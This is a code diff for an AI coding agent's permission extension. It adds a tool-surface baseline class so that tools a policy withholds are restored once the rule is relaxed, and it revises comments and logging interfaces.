@@ -159,10 +159,11 @@ export function buildDecisionEvent(
|
|
|
159
159
|
* yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
|
|
160
160
|
* rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
|
|
161
161
|
* first arm recognizes that grant. The second arm covers an `ask` synthesized
|
|
162
|
-
* *after* resolution — the bash wrapper floor (#481, #490) and the
|
|
163
|
-
* `<unparseable-bash-command>`
|
|
164
|
-
*
|
|
165
|
-
* a
|
|
162
|
+
* *after* resolution — the bash wrapper floor (#481, #490) and the two
|
|
163
|
+
* fail-closed parse sentinels, `<unparseable-bash-command>` (#452) and
|
|
164
|
+
* `<unparsed-bash-subtree>` (#840) — which the ruleset rewrite cannot reach
|
|
165
|
+
* because the floor is a property of a parsed command unit, not of a pattern
|
|
166
|
+
* (#712). The synthetic `matchedPattern` is preserved so the review
|
|
166
167
|
* log still shows why the ask was raised, while `origin: "yolo"` records why it
|
|
167
168
|
* was granted.
|
|
168
169
|
*
|
package/src/index.ts
CHANGED
|
@@ -20,6 +20,11 @@ import {
|
|
|
20
20
|
resolveToolPreviewLimits,
|
|
21
21
|
type ToolPreviewFormatterOptions,
|
|
22
22
|
} from "./tool-preview-formatter";
|
|
23
|
+
import {
|
|
24
|
+
ToolSurfaceBaseline,
|
|
25
|
+
type ToolSurfaceObservation,
|
|
26
|
+
type ToolSurfaceResolution,
|
|
27
|
+
} from "./tool-surface-baseline";
|
|
23
28
|
|
|
24
29
|
/**
|
|
25
30
|
* Encapsulates all mutable session state and exposes operations instead of
|
|
@@ -40,6 +45,7 @@ export class PermissionSession implements ToolCallGateInputs {
|
|
|
40
45
|
private skillEntries: SkillPromptEntry[] = [];
|
|
41
46
|
private knownAgentName: string | null = null;
|
|
42
47
|
private pathNormalizer: PathNormalizer;
|
|
48
|
+
private readonly toolSurfaceBaseline = new ToolSurfaceBaseline();
|
|
43
49
|
|
|
44
50
|
constructor(
|
|
45
51
|
private readonly paths: ExtensionPaths,
|
|
@@ -108,6 +114,7 @@ export class PermissionSession implements ToolCallGateInputs {
|
|
|
108
114
|
projectTrusted ? ctx.cwd : undefined,
|
|
109
115
|
);
|
|
110
116
|
this.skillEntries = [];
|
|
117
|
+
this.toolSurfaceBaseline.reset();
|
|
111
118
|
this.activate(ctx);
|
|
112
119
|
}
|
|
113
120
|
|
|
@@ -118,6 +125,7 @@ export class PermissionSession implements ToolCallGateInputs {
|
|
|
118
125
|
shutdown(): void {
|
|
119
126
|
this.sessionRules.clear();
|
|
120
127
|
this.skillEntries = [];
|
|
128
|
+
this.toolSurfaceBaseline.reset();
|
|
121
129
|
this.deactivate();
|
|
122
130
|
}
|
|
123
131
|
|
|
@@ -134,6 +142,23 @@ export class PermissionSession implements ToolCallGateInputs {
|
|
|
134
142
|
projectTrusted ? this.context?.cwd : undefined,
|
|
135
143
|
);
|
|
136
144
|
this.skillEntries = [];
|
|
145
|
+
// The tool-surface baseline deliberately survives a reload: a reload is
|
|
146
|
+
// when a relaxed policy arrives, and reseeding from the already-filtered
|
|
147
|
+
// active set would strand the tool it just un-denied (#873).
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
// ── Tool surface ───────────────────────────────────────────────────────
|
|
151
|
+
|
|
152
|
+
/**
|
|
153
|
+
* Answer which tools the agent may see this turn, applying `isExposed` to
|
|
154
|
+
* the session's pre-filter tool surface rather than to the previous turn's
|
|
155
|
+
* filtered result.
|
|
156
|
+
*/
|
|
157
|
+
resolveExposedTools(
|
|
158
|
+
observation: ToolSurfaceObservation,
|
|
159
|
+
isExposed: (toolName: string) => boolean,
|
|
160
|
+
): ToolSurfaceResolution {
|
|
161
|
+
return this.toolSurfaceBaseline.resolveExposed(observation, isExposed);
|
|
137
162
|
}
|
|
138
163
|
|
|
139
164
|
// ── Skill entries ──────────────────────────────────────────────────────
|
package/src/session-logger.ts
CHANGED
|
@@ -18,13 +18,19 @@ export interface ReviewLogger {
|
|
|
18
18
|
}
|
|
19
19
|
|
|
20
20
|
/**
|
|
21
|
-
*
|
|
22
|
-
* Injected into `
|
|
21
|
+
* Narrowest logging seam — consumers that only write debug-log entries.
|
|
22
|
+
* Injected into `AgentPrepHandler`.
|
|
23
23
|
*/
|
|
24
|
-
export interface
|
|
24
|
+
export interface DebugLogger {
|
|
25
25
|
debug(event: string, details?: Record<string, unknown>): void;
|
|
26
26
|
}
|
|
27
27
|
|
|
28
|
+
/**
|
|
29
|
+
* Logging seam for consumers that write both debug and review entries.
|
|
30
|
+
* Injected into `ConfigStore`, `ParentAuthorizer`, and `ForwardedRequestServer`.
|
|
31
|
+
*/
|
|
32
|
+
export interface DebugReviewLogger extends ReviewLogger, DebugLogger {}
|
|
33
|
+
|
|
28
34
|
/**
|
|
29
35
|
* Unified logging + notification surface for handler deps.
|
|
30
36
|
*
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
/** What a turn observed about pi's tool surface. */
|
|
2
|
+
export interface ToolSurfaceObservation {
|
|
3
|
+
/** Names pi reports active right now (`pi.getActiveTools()`). */
|
|
4
|
+
readonly active: readonly string[];
|
|
5
|
+
/** Names pi currently has registered (`pi.getAllTools()`). */
|
|
6
|
+
readonly registered: ReadonlySet<string>;
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
/** The effective tool surface for one turn, and what changed to produce it. */
|
|
10
|
+
export interface ToolSurfaceResolution {
|
|
11
|
+
/** Names to hand to `setActive`, in baseline order. */
|
|
12
|
+
readonly exposed: readonly string[];
|
|
13
|
+
/** Baseline members the current policy withholds. */
|
|
14
|
+
readonly withheld: readonly string[];
|
|
15
|
+
/** Names withheld on an earlier turn that the current policy exposes again. */
|
|
16
|
+
readonly restored: readonly string[];
|
|
17
|
+
/** Whether the withheld set differs from the previous turn's. */
|
|
18
|
+
readonly changed: boolean;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
/** Decides whether the current policy lets the agent see a tool. */
|
|
22
|
+
type ToolExposurePolicy = (toolName: string) => boolean;
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* The runtime tool surface a session has, independent of what policy withholds.
|
|
26
|
+
*
|
|
27
|
+
* Filtering writes its result back through `setActive`, so reading the active
|
|
28
|
+
* set again next turn returns the *filtered* set. Applying policy to that makes
|
|
29
|
+
* the surface monotonically shrink and leaves a tool stranded once its rule is
|
|
30
|
+
* relaxed (#873). This baseline is the stable input policy is applied to
|
|
31
|
+
* instead: `exposed = baseline ∩ policy`, recomputed every turn.
|
|
32
|
+
*
|
|
33
|
+
* The baseline only ever grows from tools observed **active**, never from the
|
|
34
|
+
* whole registry, so a tool pi deliberately left inactive is never activated
|
|
35
|
+
* (#385). A tool that stops being active without this extension withholding it
|
|
36
|
+
* — another extension deactivating it — leaves the baseline with it.
|
|
37
|
+
*/
|
|
38
|
+
export class ToolSurfaceBaseline {
|
|
39
|
+
private baseline: readonly string[] = [];
|
|
40
|
+
private withheld: ReadonlySet<string> = new Set();
|
|
41
|
+
|
|
42
|
+
resolveExposed(
|
|
43
|
+
observation: ToolSurfaceObservation,
|
|
44
|
+
isExposed: ToolExposurePolicy,
|
|
45
|
+
): ToolSurfaceResolution {
|
|
46
|
+
const baseline = this.rebuild(observation);
|
|
47
|
+
const exposed: string[] = [];
|
|
48
|
+
const withheld: string[] = [];
|
|
49
|
+
for (const toolName of baseline) {
|
|
50
|
+
(isExposed(toolName) ? exposed : withheld).push(toolName);
|
|
51
|
+
}
|
|
52
|
+
const restored = exposed.filter((toolName) => this.withheld.has(toolName));
|
|
53
|
+
const changed = !holdsExactly(this.withheld, withheld);
|
|
54
|
+
|
|
55
|
+
this.baseline = baseline;
|
|
56
|
+
this.withheld = new Set(withheld);
|
|
57
|
+
return { exposed, withheld, restored, changed };
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
/** Forget the surface, so the next turn reseeds from what pi reports. */
|
|
61
|
+
reset(): void {
|
|
62
|
+
this.baseline = [];
|
|
63
|
+
this.withheld = new Set();
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
/**
|
|
67
|
+
* Reconstruct the pre-filter surface: the tools still active, plus the ones
|
|
68
|
+
* only this extension's own filtering removed, plus anything newly active.
|
|
69
|
+
*
|
|
70
|
+
* A withheld tool that has left the registry is forgotten rather than kept as
|
|
71
|
+
* a restoration candidate, so re-registering it inactive cannot activate it.
|
|
72
|
+
* The registry is consulted for withheld tools only — an active tool is real
|
|
73
|
+
* by definition — and an active tool is adopted whatever the registry says,
|
|
74
|
+
* so a registry that reports nothing can cost restoration candidates but
|
|
75
|
+
* never removes a tool pi has active.
|
|
76
|
+
*/
|
|
77
|
+
private rebuild(observation: ToolSurfaceObservation): readonly string[] {
|
|
78
|
+
const active = new Set(observation.active);
|
|
79
|
+
const baseline = this.baseline.filter(
|
|
80
|
+
(toolName) =>
|
|
81
|
+
active.has(toolName) ||
|
|
82
|
+
(this.withheld.has(toolName) && observation.registered.has(toolName)),
|
|
83
|
+
);
|
|
84
|
+
|
|
85
|
+
const known = new Set(baseline);
|
|
86
|
+
for (const toolName of observation.active) {
|
|
87
|
+
if (!known.has(toolName)) {
|
|
88
|
+
known.add(toolName);
|
|
89
|
+
baseline.push(toolName);
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
return baseline;
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
function holdsExactly(
|
|
97
|
+
set: ReadonlySet<string>,
|
|
98
|
+
members: readonly string[],
|
|
99
|
+
): boolean {
|
|
100
|
+
return set.size === members.length && members.every((m) => set.has(m));
|
|
101
|
+
}
|